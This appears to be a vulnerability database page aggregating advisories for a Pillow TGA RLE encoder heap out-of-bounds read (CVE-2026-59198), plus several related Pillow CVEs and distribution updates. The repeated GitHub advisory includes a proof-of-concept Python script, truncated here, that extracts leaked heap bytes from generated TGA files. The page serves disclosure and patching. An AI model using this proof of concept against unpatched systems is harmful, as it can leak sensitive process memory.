CVE-2026-59198
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.5
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
CVE-2026-59198- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-125
- Updated
- 2026-11-02
EUVDEUVD-2026-43752
6.5
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
EUVD-2026-43752- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fj7v-r99m-22gq
6.5
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;
This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob =…
- Record
GHSA-fj7v-r99m-22gq- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-125
- Updated
- 2026-11-02
NVD
6.5
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
CVE-2026-59198- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-125
- Updated
- 2026-11-02
OSV
6.5
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
CVE-2026-59198- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-125
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-59198
7.5
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
DEBIAN-CVE-2026-59198- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 24 moreShow less
OSVGHSA-fj7v-r99m-22gq
6.5
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;
This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob =…
- Record
GHSA-fj7v-r99m-22gq- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-125
- Updated
- 2026-11-02
OSVOESA-2026-3141
7.5
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3185
8.3
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)
- Record
OESA-2026-3185- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3187
8.3
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)
- Record
OESA-2026-3187- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3188
8.3
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)
- Record
OESA-2026-3188- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3189
8.3
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)
- Record
OESA-2026-3189- CVSS 4.0
- 8.3 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVPYSEC-2026-3494
6.5
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;
This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob =…
- Record
PYSEC-2026-3494- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-59198
6.5
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
UBUNTU-CVE-2026-59198- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVBIT-pillow-2026-59198 No score
Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.
- Record
BIT-pillow-2026-59198- Updated
- 2026-11-02
OSVCLSA-2026-1786468070 No score
TuxCare security update for pillow (5 CVEs)
TuxCare rebuilt pillow to address 5 CVEs. Fixed in 11.2.1.post3+tuxcare.
- Record
CLSA-2026-1786468070- Updated
- 2026-11-02
OSVCLSA-2026-1790674233 No score
TuxCare security update for pillow (14 CVEs)
TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.
- Record
CLSA-2026-1790674233- Updated
- 2026-11-02
OSVCLSA-2026-1790685259 No score
TuxCare security update for pillow (4 CVEs)
TuxCare rebuilt pillow to address 4 CVEs. Fixed in 10.4.0.post10+tuxcare.
- Record
CLSA-2026-1790685259- Updated
- 2026-11-02
OSVCLSA-2026-1790747347 No score
TuxCare security update for pillow (4 CVEs)
TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.5.0.post8+tuxcare.
- Record
CLSA-2026-1790747347- Updated
- 2026-11-02
OSVCLSA-2026-1790751826 No score
TuxCare security update for pillow (4 CVEs)
TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post9+tuxcare.
- Record
CLSA-2026-1790751826- Updated
- 2026-11-02
OSVCLSA-2026-1790754735 No score
TuxCare security update for pillow (8 CVEs)
TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.
- Record
CLSA-2026-1790754735- Updated
- 2026-11-02
OSVMGASA-2026-0463 No score
Updated python-pillow packages fix security vulnerabilities
Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb
- Record
MGASA-2026-0463- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11283-1 No score
python313-Pillow-12.3.0-2.1 on GA media
These are all security issues fixed in the python313-Pillow-12.3.0-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11283-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21544-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch (bsc#1271425).
- Record
openSUSE-SU-2026:21544-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-59198 No score
CVE-2026-59198 in pillow - Patched by Root
Root has patched CVE-2026-59198 in the pillow package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-59198- Updated
- 2026-11-06
OSVSUSE-SU-2026:23217-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch (bsc#1271425).
- Record
SUSE-SU-2026:23217-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23228-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch (bsc#1271425).
- Record
SUSE-SU-2026:23228-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3084-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
